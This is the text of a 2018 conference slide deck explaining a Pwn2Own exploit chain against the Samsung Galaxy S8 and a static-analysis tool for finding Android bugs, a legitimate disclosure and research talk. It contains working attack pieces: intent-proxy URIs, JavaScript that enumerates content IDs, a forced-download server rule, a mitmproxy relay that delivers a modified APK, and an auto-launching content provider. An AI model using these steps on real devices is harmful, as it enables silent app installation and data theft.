

chainspotting!

Building Exploit chains with Logic Bugs

Written and Directed by

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CanSecWest
24 March 2018

Chainspotting

Agenda

 **Trend Micro** 
@TrendMicro

The longest exploit chain in **#Pwn2Own** history! 11 bugs in **#Samsung**, **#Android** and **#Chrome** targeting the Galaxy S8 for \$25K



11:19 pm - 1 Nov 2017

Agenda

- Mobile Pwn2Own 2017
- Samsung Galaxy S8
 - Android Nougat (7.0)
- Bug hunting automation
 - Tooling
 - Static approach
 - Dynamic approach

Google Pixel



iPhone 7



Galaxy S8



Huawei Mate 9 Pro



Target of choice



Samsung UK ✅

@SamsungUK



Your phone is more than just a phone. Break boundaries and discover the [#GalaxyS8](#) and [#Note8](#) today.

2:37 PM - Nov 15, 2017




G. Geshev

@munmap

Follow



Your phone is more than just a phone. It's an incredibly well developed [@OWASP](#) Mobile Top 10 training platform. [#GalaxyS8](#) [#Note8](#) [#MP2O](#) [#Pwn2Own](#)



Samsung UK ✅ @SamsungUK

Your phone is more than just a phone. Break boundaries and discover the [#GalaxyS8](#) and [#Note8](#) today.

8:26 AM - 17 Nov 2017

Traditional Approach

- Search for commonly misused methods
 - Class loading
 - Unzip path traversals
 - External storage operations
 - SSL error handling
- Decompile APK
- Is it used? Is it accessible? Is it vulnerable?
- Repeat for each application on the device


Traditional Approach

- Too much noise!

```
$ grep --include=*.smali -r getClassLoader . | wc -l  
4610  
$
```


Process Automation

- Which parts of the process can we automate?
 - Is it used?
 - Is it accessible?
 - Is it vulnerable?



Process Automation

- Wouldn't Joern solve this?
 - Code property graphs
 - C/C++ only
- We need Joern for Android
 - Jandroid



Automation Overview

1. Find use of search term in the application
2. Find calls to this method
3. Find calls to these methods
4. Find any instances of methods exported in Manifest

Automation Overview


1. Find use of search term in the application
2. Find calls to this method
3. Find calls to these methods
4. Find any instances of methods exported in Manifest

Automation Overview

1. Find use of search term in the application.
2. Find callers of the interesting method.
3. Recursively find callers of those callers.
4. Any of the methods exported in the Manifest?


Static Analysis at Scale

- Data stored in Neo4j



```
(:Manifest)-[:CALLS]->(:Method)-[:USES*]->(:Method)-[:INCLUDES]->(:SearchTerm)
```


Jandroid Example: Directory Traversal during Unzip




Jandroid Example: Directory Traversal during Unzip

- Normally caused by ‘java.util.zip’
- However Samsung also use ‘net.lingala.zip4j’
- Use Jandroid to look for ‘extractAll’


Jandroid Example: Directory Traversal during Unzip



Jandroid Example: Directory Traversal during Unzip



Unzip Directory Traversal in Samsung Notes



Notes Directory Traversal

- Memo files unzipped using Zip4j
 - Lack of path names canonicalisation

```
public static String convertToSDocFile(Context context, String path) {  
    String v2;  
    // ...  
    String tmpDirStr = context.getCacheDir() + "/unzip_" +  
System.currentTimeMillis();  
    File tmpDir = new File(tmpDirStr);  
    tmpDir.mkdir();  
    try {  
        new ZipFile(path).extractAll(tmpDirStr); // Extracts ZIP entries.  
        // Parses 'memo_content.xml', crashes if it's not found.  
        v2 = NMemoConverter.parseMemoXML(context, tmpDirStr);  
        // ...  
    } catch (IOException e) {  
        Log.e("NMemo", "Error extracting ZIP file: " + e.getMessage());  
    }  
}
```

Jandroid Release?



Building an Exploit Chain

- Finished!
 - Not quite...



Samsung Notes

- Conversion activity
 - Unreachable from the browser

```
<activity android:configChanges="mcc|mnc|orientation|screenSize"  
         android:name="com.samsung.android.app.notes.composer.ConvertToSdocActivity"  
         android:screenOrientation="portrait"  
         android:theme="@style/AppTheme.NoActionBarTransparent">  
<intent-filter>  
    <action android:name="android.intent.action.VIEW"/>  
    <category android:name="android.intent.category.DEFAULT"/>  
    <data android:mimeType="application/spd"/>  
    <data android:mimeType="application/memo"/>  
    <!-- ... -->
```

Intent Proxy Bug

- Android Vending
 - LaunchUrlHandlerActivity
 - We control the package name and URI

```
final Intent a(Intent arg17, b arg18, j arg19) {  
    Intent v2_1;  
    Uri v7 = arg17.getData();  
    String v8 = v7.getQueryParameter("url");  
    String v10 = v7.getQueryParameter("id");  
  
    // ...  
  
    if((v5) && (v12)) {  
        v2_1 = new Intent("android.intent.action.VIEW");  
        v2_1.setData(Uri.parse(v8));  
        v2_1.setPackage(v10);  
        return v2_1;  
  
    // ...  
}
```

Launching Samsung Notes

Chrome

Android Vending

Samsung Notes

market://details?url...

LaunchUrlHandlerActivity

Intent

Intent Proxy Bug

```
market://details?url=http://www.attacker.com/  
whatever.memo&id=com.samsung.android.app.notes
```

- Won't work, only local schemes are processed!

```
market://details?url=file:///sdcard/Download/  
whatever.memo&id=com.samsung.android.app.notes
```

- Won't resolve due to a MIME mismatch!
- ‘FileUriExposedException’ on Android 7.0+

Chrome Content Provider

```
<provider android:authorities="com.android.chrome.FileProvider"
          android:exported="false"
          android:grantUriPermissions="true"
          android:name="org.chromium.chrome.browser.util.ChromeFileProvider">
    <meta-data android:name="android.support.FILE_PROVIDER_PATHS"
              android:resource="@xml/file_paths"/>
</provider>
```

AndroidManifest.xml

```
<?xml version="1.0" encoding="utf-8"?>
<paths xmlns:android="http://schemas.android.com/apk/res/android">
<!-- ... -->
<external-path name="downloads" path="Download/" />
</paths>
```

file_paths.xml

File vs. Content Providers

```
market://details?url=content://  
com.android.chrome.FileProvider/downloads/  
whatever.memo&id=com.samsung.android.app.notes  
• Won't resolve due to a MIME mismatch!
```

```
market://details?url=content://media/external/file/  
350&id=com.samsung.android.app.notes
```

- Works!

File vs. Content Providers

```
market://details?url=content://  
com.android.chrome.FileProvider/downloads/  
whatever.memo&id=com.samsung.android.app.notes  
• Won't resolve due to a MIME mismatch!
```

<bullet point(s) about file provider's lack of knowledge about MIME types; when using File Providers, MIMEs are resolved against a list of well-known mappings. Memo isn't in this list, so 'application/octet' stream is returned>

Download File

- Download Memo file
 - Content-Type: application/memo
- Chrome's file provider
 - Doesn't keep track of MIME types
- <example>
- Any content provider mapped over /sdcard/Download
 - E.g. Media Provider
 - Unknown content ID
- <example>

Determine ID of a content provider

```
scriptElement.src = “content://media/external/file/99999”;
```

Triggers onError()

```
scriptElement.src = “content://media/external/file/9”;
```

Triggers onLoad()

Determine Content ID

```
scriptElement.src = “content://media/external/file/99999”;
```

- onerror();

```
scriptElement.src = “content://media/external/file/9”;
```

- onload();

Content Scheme SOP

- Content Resource Enumeration
 - Android MediaProvider

```
var i = 300;
var scriptElement = document.createElement("script");
scriptElement.onerror = function() { i--; next(); };
scriptElement.onload = function() { foundIt(); };
scriptElement.src = "content://media/external/file/" + i;
document.body.appendChild(scriptElement);
```

Content Scheme SOP

- Content Resource Enumeration

- Android MediaProvider

```
var i = 300;
var scriptElement = document.createElement("script");
scriptElement.onerror = function() { i--; next(); };
scriptElement.onload = function() { foundIt(); };
scriptElement.src = "content://media/external/file/" + i;
document.body.appendChild(scriptElement);
```

- Download Memo file

- Content-Type: application/memo

- Preserve Memo file ID in Web Storage

300

...

103

102

101

whatever.memo

100

payload.html

99

something.mp3

98

foobar.txt

...

Content Scheme

- Enumeration only possible from ‘content’ scheme
 - Intra- or inter-provider requests
- Content Provider scheme
 - Disabled in SBrowser
 - Handled by Chrome
- Redirect to Chrome?

Redirect to chrome

- Redirect to Chrome
 - `googlechrome://navigate?url=<destination>`

```
<activity-alias android:exported="true"  
    android:name="com.google.android.apps.chrome.Main"  
    android:targetActivity="org.chromium.chrome.browser.document.ChromeLauncherActivity">  
    <intent-filter>  
        <action android:name="android.intent.action.VIEW"/>  
        <category android:name="android.intent.category.DEFAULT"/>  
        <category android:name="android.intent.category.BROWSABLE"/>  
        <data android:scheme="googlechrome"/>  
    <!-- ... -->
```

- Previously reported...

Redirect to chrome

- Reported by Takeshi Terada in April 2017
 - Magically fixed

The screenshot shows a series of comments from the Chromium bug tracker:

- Comment 24** by [qin...@chromium.org](#), Apr 27 2017:

for #23, i saw the same behavior on M57.
But when building from trunk, i saw both method won't work due to "Navigation is blocked".
So someone patched the fix recently to all transition types.
- Comment 25** by [sgu...@chromium.org](#), Apr 27 2017:

Nice, the bug was fixed then?
- Comment 26** by [qin...@chromium.org](#), Apr 28 2017:

Status: Fixed
I think so, mark this as fixed, please reopen if this is still reproducible on dev.
- Comment 27** by [meacer@chromium.org](#), Apr 28 2017:

It would be nice to find out which bug fixed this before closing. Can we bisect?

<https://bugs.chromium.org/p/chromium/issues/detail?id=714442>

Redirect to chrome

- Chrome Content Provider
 - com.android.chrome.FileProvider

```
<provider android:authorities="com.android.chrome.FileProvider"  
          android:exported="false"  
          android:grantUriPermissions="true"  
          android:name="org.chromium.chrome.browser.util.ChromeFileProvider">  
    <meta-data android:name="android.support.FILE_PROVIDER_PATHS"  
              android:resource="@xml/file_paths"/>  
</provider>
```

```
googlechrome://navigate?url=content://  
com.android.chrome.FileProvider/downloads/downloadme.html
```

Redirect to chrome

```
googlechrome://navigate?url=content://  
com.android.chrome.FileProvider/downloads/payload.html
```

- Works!

Landing Page


- Automatic file download in Samsung Browser (SBrowser)
 - Content-Type: application/force-download

```
location ~ ^/payload.*\.html$ {  
    default_type application/force-download;  
}
```


nginx.conf

- File saved to ‘/sdcard/Download’

Recap



Exploit Phase #1



Building an Exploit Chain

- Finished!
 - Not quite...



Arbitrary File Write

- Limited locations
 - Samsung Notes sandbox
 - SD card
- Finding applications reading files
 - Naïve static approach
 - grep
 - Naïve dynamic approach
 - inotify
- Hooking

Dynamic Analysis

- Attack surface analysis
 - Parse Manifests
 - ADB and Python
- Activities
 - Enabled?
 - Exported? BROWSABLE?
- Intent extras
- URI parameters

Dynamic Analysis Toolset

- Xposed
 - Early injection (Zygote)
 - Global hooks across multiple applications
- Frida
 - Quick and easy prototyping
 - Debugging and dynamic analysis of obfuscated code

	Global Hook	Flexible	Requires Root	Lightweight
Xposed	✓	✗	✓	✗
Frida	✗	✓	✗	✓

Arbitrary File Write (cont.)

```
public void handleLoadPackage(final LoadPackageParam lpParam) throws Throwable {
    // Optionally check the package name before hooking.
    //if (!lpParam.packageName.equals("com.android.providers.contacts")) { // return; }
    findAndHookMethod("java.io.File", lpParam.classLoader, "exists", new XC_MethodHook() {
        @Override protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
            File f = (File) param.thisObject;
            String fPath = f.getCanonicalPath();
            // Log if location is SD card or Notes sandbox.
            if (fPath.startsWith("/storage") ||
                fPath.startsWith("/sdcard") ||
                fPath.startsWith("/mnt") ||
                fPath.startsWith("/data/data/com.samsung.android.app.notes"))
                XposedBridge.log("File: " + lpParam.packageName + " || " + fPath);
        }
    });
}
```


Leftover Debug Code

- Galaxy Apps
 - Leftover code for staging environments
 - Configuration file loaded from disk
- Configuration file settings
 - Take precedence
 - Control the Galaxy Apps behaviour

Leftover Debug Code

```
public class ConcreteSaconfigInfoLoader implements SAppsConfig {  
    private String mIsStaging;  
    private String mStagingDataHostUrl;  
    private String mUpdateInterval;  
    // ...  
    public ConcreteSaconfigInfoLoader() {  
        // ...  
        // 'saconfig.ini'  
        String fname = Common.coverLang("78,66,68,74,73,6b,6e,6c,33,6e,73,6e,");  
        try {  
            sdpah = Environment.getExternalStorageDirectory().getCanonicalPath();  
        }  
        // ...  
        File v4 = new File(sdpah, fname);  
        if(!v4.exists()) { return; }  
        // ...
```

Leftover Debug Code



Leftover Debug Code

- Three key settings
 - Staging mode flag
 - Staging server
 - Update interval
- Configuration file format

```
X1=1 ; mIsStaging
X4=http://10.42.0.30:8181/ods.as ; mStagingDataHostUrl
X46=5000 ; mUpdateInterval
```

saconfig.ini

Galaxy Apps Reconfiguration

- Applying the new configuration
 - Restart application
 - Reboot device
- Rebooting Android
 - Crash a system critical process

Rebooting Android

- Crashing a system critical process...
 - com.android.server.telecom
- Activity expecting a non-empty URI
 - com.android.server.telecom.components.UserCallActivity

Rebooting Android

- Crashing a system critical process...
 - com.android.server.telecom
- Activity expecting a non-empty URI
 - com.android.server.telecom.components.UserCallActivity



Rebooting Android

```
private void processOutgoingCallIntent(Intent paramInt, String paramString, boolean paramBoolean) {  
    if (paramIntent == null) { return; }  
    Uri uri = paramInt.getData();  
    // The 'uri' variable is null.  
    String uriScheme = uri.getScheme();  
    String uriSchemeSpecificPart = uri.getSchemeSpecificPart();  
    if (!"voicemail".equals(uriScheme)) {  
        if (!PhoneNumberUtils.isUriNumber(uriSchemeSpecificPart)) {  
            // ...  
    }  
}
```

```
*** FATAL EXCEPTION IN SYSTEM PROCESS: main
```

```
...
```

```
Caused by: java.lang.NullPointerException:
```

```
    Attempt to invoke virtual method 'java.lang.String android.net.Uri.getScheme()' on a null object reference.  
    at com.android.server.telecom.components.UserCallIntentProcessor.processOutgoingCallIntent(...)  
    at com.android.server.telecom.components.UserCallIntentProcessor.processIntent(...)  
    at com.android.server.telecom.components.UserCallActivity.onCreate(UserCallActivity.java:67)  
    at android.app.Activity.performCreate(Activity.java:6955)  
    at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1126)  
    at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2927)  
    ...
```

Rebooting Android

- Unreachable from the browser
- The Intent proxy bug won't work either
 - We can only specify package name and URI :-)

```
<activity android:configChanges="keyboardHidden|orientation|screenSize"
          android:excludeFromRecents="true"
          android:name=".components.UserCallActivity"
          android:permission="android.permission.CALL_PHONE"
          android:theme="@style/Theme.SecTelecomm.Transparent">
    <intent-filter>
        <action android:name="android.intent.action.CALL"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <data android:scheme="tel"/>
    </intent-filter>
<!-- ... -->
```

Intent Proxy Bug #2

- Samsung Members
 - LauncherActivity

```
<activity android:name="com.samsung.android.voc.LauncherActivity"
          android:theme="@android:style/Theme.Translucent.NoTitleBar">
    <!-- ... -->
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="voc"/>
    </intent-filter>
    <!-- ... -->
</activity>
```

Intent Proxy Bug #2

```
public static void performActionLinkContext(Context activity, String
actionLink, Bundle bundle) {
    // ...
    pName = uri.getQueryParameter("packageName");
    String cName = uri.getQueryParameter("className");
    if(pName != null) {
        if(cName != null) {
            ComponentName comp = new ComponentName(pName, cName);
            newIntent = new Intent("android.intent.action.MAIN");
            newIntent.addCategory("android.intent.category.LAUNCHER");
            newIntent.setComponent(comp);
        }
        // ...
        activity.startActivity(newIntent);
    }
}
```

Intent Proxy Bugs Summary

Attacker-Controlled Data

	Package Name	Activity Name	URI	Extras	Action
Android Vending (Bug #1)	✓	✗	✓	✗	✗
Samsung Members (Bug #2)	✓	✓	✗	✗	✗


Abusing Samsung Members

- Package name
 - com.android.server.telecom
- Class name
 - com.android.server.telecom.components.UserCallActivity

```
voc://activity/general?packageName=com.android.server.telecom  
&className=com.android.server.telecom.components.UserCallActivity
```

Launching Samsung Notes

Chrome Samsung Members Android Telecom



JavaScript clicks

- Two automated actions with JavaScript
 - Dot-click to drop the file in SD card
 - Dot-click to crash Android
- Second click results in ‘Navigation Blocked’
- Smuggling a second click?
- Telecom crash
 - Freezes
 - Resumes
 - Reboots

JavaScript clicks

- Chrome developers' reaction...

I've not been able to reproduce, or otherwise work out if they are losing a security race or winning a functionality race.

<https://bugs.chromium.org/p/chromium/issues/detail?id=781143>

- This should've worked without the race?!

Triggering Bugs from Browser

Chrome

Android Vending

Android Telecom

~100 milliseconds

market://details?
url=...

voc://activity/general?
packageName=...


Intent

Samsung Members

Intent

Samsung Notes

Triggering Bugs from Browser



Scheduling an Update

- Phone reboots
- Galaxy Apps starts on boot
 - Parses configuration file ‘/sdcard/saconfig.ini’
 - Schedules automatic update checks
 - Periodic job
- Android Job Scheduler
 - Introduced in Android 5.0 (API level 21)

Android Job Scheduler

- Job Scheduler limitations
 - Changes in Android Nougat
 - Periodic jobs are clamped to 15 min.
- Pwn2Own attempts are time-limited

A contestant has up to three (3) attempts to succeed. Each of the 3 attempts will be individually limited to a time period of five (5) minutes.

- Integer overflow in Android Scheduler
 - No security implications per se...



Periodic Job Clamping

```
public class JobInfo implements Parcelable {  
    // ...  
    public static final class Builder {  
        // ...  
        public JobInfo build() {  
            // ...  
            JobInfo job = new JobInfo(this);  
            if (job.isPeriodic()) {  
                if (job.intervalMillis != job.getIntervalMillis()) {  
                    StringBuilder builder = new StringBuilder();  
                    builder.append("Specified interval for ")  
                        .append(String.valueOf(mJobId))  
                        .append(" is ");  
                    formatDuration(mIntervalMillis, builder);  
                    builder.append(". Clamped to ");  
                    formatDuration(job.getIntervalMillis(), builder);  
                    Log.w(TAG, builder.toString());  
                }  
            }  
        }  
    }  
}
```

Clamping Bypass

```
public static JobStatus createFromJobInfo(JobInfo job, int callingUid, String sourcePackageName, int sourceUserId, String tag) {
    final long elapsedNow = SystemClock.elapsedRealtime();
    final long earliestRunTimeElapsedMillis, latestRunTimeElapsedMillis;
    if (job.isPeriodic()) {
        // Elapsed time added to periodic job interval time.
        latestRunTimeElapsedMillis = elapsedNow + job.getIntervalMillis();
        earliestRunTimeElapsedMillis = latestRunTimeElapsedMillis - job.getFlexMillis();
    }
    // ...
    return new JobStatus(job, callingUid, sourcePackageName, sourceUserId, tag, 0,
earliestRunTimeElapsedMillis, latestRunTimeElapsedMillis);
}
```

Downloading and Installing APK

- Reverse proxy with ‘mitmproxy’

```
mitmdump -p 8181 -R https://uk-odc.samsungapps.com/ -s relay.py
```
- Relaying content between Galaxy Apps and Samsung servers
 - Modifying requests and responses as needed



Downloading and Installing APK


- <diagram>
- <snippet from rewriting the requests/responses>
- <Delivering a modified Drozer build.>

Downloading and Installing APK

Galaxy Apps

Attacker

Samsung Server




Downloading and Installing APK

Galaxy Apps

Attacker

Samsung Server




Downloading and Installing APK

Galaxy Apps

Attacker

Samsung Server




Downloading and Installing APK

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


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


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


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


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


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


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


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


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


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


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


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


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


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


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


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


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


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


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


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
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Permission Request Prompts

- Runtime permission requests introduced in Marshmallow
 - Android 6.0+ (API 23+) and...
 - The application's 'targetSdkVersion' is set to 23+
- Dangerous permissions are only granted at runtime



Permission Prompt Bypass

- Building the APK to bypass permission prompts
 - Set ‘targetSdkVersion’ to 18 (Jelly Bean)

As Android evolves with each new version, some behaviors and even appearances might change. However, if the API level of the platform is higher than the version declared by your app's targetSdkVersion, the system may enable compatibility behaviors to ensure that your app continues to work the way you expect.

<https://developer.android.com/guide/topics/manifest/uses-sdk-element.html#target>

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- Changes in Android P

Are we done yet?

- We assumed APK install would be enough
- Chatted to ZDI to clarify a few things
 - Code execution
 - Exfiltrated sensitive data
 - Contacts
 - Messages, etc.
- Dormant APK won't cut it...



Launching Application

- Applications are placed in ‘stopped’ mode upon installation
 - Android 3.1+ (API 12+)
 - Prevents self-launching
- (Modified) Android Contacts Provider
 - Code heavily modified by Samsung
 - `com.android.providers.contacts`

(Modified) Android Contacts Provider

```
<receiver android:name="PackageIntentReceiver">
    <intent-filter>
        <action android:name="android.intent.action.PACKAGE_ADDED"/>
        <data android:scheme="package"/>
    </intent-filter>
    <intent-filter>
        <action android:name="android.intent.action.PACKAGE_REPLACED"/>
        <data android:scheme="package"/>
    </intent-filter>
    <intent-filter>
        <action android:name="android.intent.action.PACKAGE_REMOVED"/>
        <data android:scheme="package"/>
    </intent-filter>
    <intent-filter>
        <action android:name="android.intent.action.PACKAGE_CHANGED"/>
        <data android:scheme="package"/>
    </intent-filter>
</receiver>
```

Launching Application

```
public void onReceive(Context context, Intent intent) {  
    Uri v2 = intent.getData();  
    if(v2 != null) {  
        String v1 = v2.getSchemeSpecificPart();  
        ContentProvider v3 = ContentProvider.coerceToLocalContentProvider(  
            context.getContentResolver().acquireProvider(  
                "com.android.contacts"  
            )  
        );  
        if((v3 instanceof ContactsProvider2)) {  
            EventLogUtil.secVF(PackageIntentReceiver.TAG, v1 + " is changed.");  
            ((ContactsProvider2)v3).onPackageChanged(v1);  
        }  
        this.handlePackageChangedForVoicemail(context, intent);  
    }  
}
```

Launching Application

```
public void onPackageChanged(String packageName) {  
    PackageInfo pm;  
    try { pm = this.mPackageManager.getPackageInfo(packageName, 136); }  
    // ...  
    this.updateDirectoriesForPackage(pm, false);  
}
```


```
private List updateDirectoriesForPackage(PackageInfo pInfo, boolean arg15) {  
    int i = 0;  
    ArrayList empty = Lists.newArrayList();  
    ProviderInfo[] providers = pInfo.providers;  
    if(providers != null) {  
        int numOfProviders = providers.length;  
        for(ProviderInfo providerInfo: providers) {  
            // Check if content provider's name is android.content.ContactDirectory.  
            if(ContactDirectoryManager.isDirectoryProvider(providerInfo))  
                // Query the content provider.  
                this.queryDirectoriesForAuthority(empty, providerInfo);  
            // ...  
        }  
    }  
}
```

Content Provider Implementation

```
<provider android:name="com.mwr.dz.MyContentProvider"  
    android:authorities="dzprovider"  
    android:enabled="true"  
    android:exported="true">  
    <meta-data android:name="android.content.ContactDirectory"  
        android:value="true"/>  
</provider>
```

```
public Cursor query(Uri uri, String[] projection, String selection,  
                    String[] selectionArgs, String sortOrder) {  
    Intent i = new Intent();  
    i.addCategory("com.mwr.dz.START_EMBEDDED");  
    i.setComponent(new ComponentName("com.mwr.dz", "com.mwr.dz.services.ServerService"));  
    Context c = getContext();  
    c.startService(i);  
}
```

Demo



Conclusions

- Even basic automation can save time
- OEM bloatware is still a major problem
- Seemingly boring bugs can come in handy
- The variety of IPC options on Android presents numerous opportunities for omnifarious bugs to occur

Attacker's
Web Server Samsung
Browser Chrome Media
Provider Samsung
Members Android
Telecom Android
Vending Samsung
Notes

